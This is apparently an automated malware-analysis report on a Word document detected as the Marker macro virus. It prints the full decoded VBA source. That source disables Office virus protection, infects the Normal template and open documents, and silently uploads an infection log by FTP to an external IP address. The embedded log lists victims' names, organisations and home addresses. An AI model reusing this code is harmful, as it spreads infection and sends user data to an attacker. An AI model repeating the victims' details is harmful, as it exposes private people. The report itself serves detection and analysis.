MALICIOUS
260
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
T1553.005 Security Software Installation
The sample contains VBA macros that attempt to disable macro security settings and replicate themselves to the Normal.dot template. The script also attempts to write a file to 'c:\hsf*.sys' and 'c:\netldx.vxd', and connect to '209.201.88.110' to upload the file. This behavior suggests an attempt to establish persistence and download further malicious content.
Heuristics 4
-
ClamAV: Doc.Trojan.Marker-31 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Marker-31
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide -
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
'Switch the VirusProtection OFF Options.VirusProtection = False
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 6161 bytes |
SHA-256: 717918ef7c30be15b0661f251b0f49746aeb1ce8877b8994f38a38a7a5e42587 |
|||
|
Detection
ClamAV:
Doc.Trojan.Marker-3
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
Const Marker = "<- this is a marker!"
'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String
'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)
'Switch the VirusProtection OFF
Options.VirusProtection = False
If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
If DocumentInfected = True Then
LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
ElseIf NormalTemplateInfected = True Then
LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
End If
LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
For i = 1 To 4
LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
Next i
LogFile = "C:\hsf" & LogFile & ".sys"
Open LogFile For Output As #1
Print #1, LogData
Close #1
Open "c:\netldx.vxd" For Output As #1
Print #1, "o 209.201.88.110"
Print #1, "user anonymous"
Print #1, "pass itsme@"
Print #1, "cd incoming"
Print #1, "ascii"
Print #1, "put " & LogFile
Print #1, "quit"
Close #1
Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
End If
'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
(ActiveDocument.SaveFormat = wdFormatDocument Or _
ActiveDocument.SaveFormat = wdFormatTemplate) Then
'Infect the NormalTemplate
If DocumentInfected = True Then
SaveNormalTemplate = NormalTemplate.Saved
OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
'Write a log file of this NormalTemplate infection
For i = 1 To Len(Application.UserAddress)
If Mid(Application.UserAddress, i, 1) <> Chr(13) Then
If Mid(Application.UserAddress, i, 1) <> Chr(10) Then
UserAddress = UserAddress & Mid(Application.UserAddress, i, 1)
End If
Else
UserAddress = UserAddress & Chr(13) & "' "
End If
Next i
OurCode = OurCode & Chr(13) & _
"' " & Format(Time, "hh:mm:ss AMPM - ") & _
Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
"' " & Application.UserName & Chr(13) & _
"' " & UserAddress & Chr(13)
nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
nt.CodeModule.AddFromString OurCode
If SaveNormalTemplate = True Then NormalTemplate.Save
End If
'Infect the ActiveDocument
If NormalTemplateInfected = True And _
(Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
ActiveDocument.Saved = False) Then
SaveDocument = ActiveDocument.Saved
OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
ad.CodeModule.AddFromString OurCode
If SaveDocument = True Then ActiveDocument.Save
End If
End If
End Sub
' Logfile -->
' 09:08:36 - Saturday, 28 Nov 1998
' SPo0Ky
' Blue Planet
'
' 02:50:31 PM - Saturday, 28 Nov 1998
' MARK B. SEAY
'
' 08:04:45 AM - Friday, 4 Dec 1998
' UPS
'
' 11:43:35 AM - Thursday, 17 Dec 1998
' WRO
'
' 09:23:32 AM - Wednesday, 23 Dec 1998
' bcbsa
'
' 12:08:05 PM - Monday, 4 Jan 1999
' ISG
'
' 02:41:37 PM - Tuesday, 5 Jan 1999
' Information Systems Group
'
' 12:49:03 PM - Saturday, 9 Jan 1999
' Mona Sowisky
' CSC Healthcare
' One Embarcadero, Suite 2800
' San Francisco, CA 94111
' 10:30:59 PM - Sunday, 10 Jan 1999
' Information Systems
' CSC Healthcare
' 1675 Broadway, 18th Floor
' New York, NY 10019
' 09:25:05 PM - Monday, 11 Jan 1999
' Marge Bayus
'
' 03:51:33 PM - Tuesday, 19 Jan 1999
' Frank Osgood
'
' 01:50:28 PM - Friday, 22 Jan 1999
' DBD
' Jack C Clark
' 9875 Lemon Ave.
' La Mesa, CA 91941
' 03:10:44 PM - Monday, 1 Feb 1999
' James H. Foster, Jr
'
' 08:46:08 AM - Wednesday, 3 Feb 1999
' Edwin Pruett
'
' 03:43:45 PM - Thursday, 4 Feb 1999
' e072477
'
' 01:13:26 PM - Monday, 15 Feb 1999
' Gerald Margulies
'
' 11:20:05 AM - Thursday, 18 Feb 1999
' AlliedSignal Aerospace
'
' 11:14:45 AM - Thursday, 25 Feb 1999
' AlliedSignal
'
' 09:51:55 AM - Monday, 1 Mar 1999
' douglar
'
' 06:28:59 PM - Thursday, 11 Mar 1999
' AMC
'
' 04:21:50 PM - Friday, 26 Mar 1999
' Kathleen Williams
'
' 02:04:07 PM - Tuesday, 4 May 1999
' MBURCH
' D & M Express, LLC
' 5924 Stearns
' Shawnee, Kansas 66203
' 12:31:24 PM - Thursday, 4 Nov 1999
' MBURCH
' Agrex Inc.
' 9300 W. 110th St., Suite 500
' Overland Park, Kansas 66210
' 11:46:13 AM - Monday, 6 Dec 1999
' MBURCH
' Agrex Inc.
' 9300 W. 110th St., Suite 500
' Overland Park, Kansas 66210
' 11:08:46 AM - Monday, 30 Dec 2002
' Tamara Miller
'
' 09:41:54 AM - Monday, 27 Jan 2003
' Tamara Miller
'
' 10:10:40 AM - Thursday, 7 Aug 2003
' John Coyle
' 13675 SW Benchview Place
' Tigard, OR 97223
' 01:41:29 PM - Tuesday, 11 May 2004
' Tracy Coyle
' Tualatin High School
'
' 06:56:22 PM - Saturday, 6 Aug 2005
' Carrol Tama
' HOME BASE
'
' 12:35:11 PM - Monday, 6 Nov 2006
' OIT USS
'
' 04:02:55 PM - Friday, 26 Jan 2007
' Portland State University
'
' 08:36:27 AM - Saturday, 20 Sep 2008
' Stephanie A. McBride
' Portland State University
' P.O. Box 751
' Ed Bldg. 602
' Portland, OR 97207
' USA
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.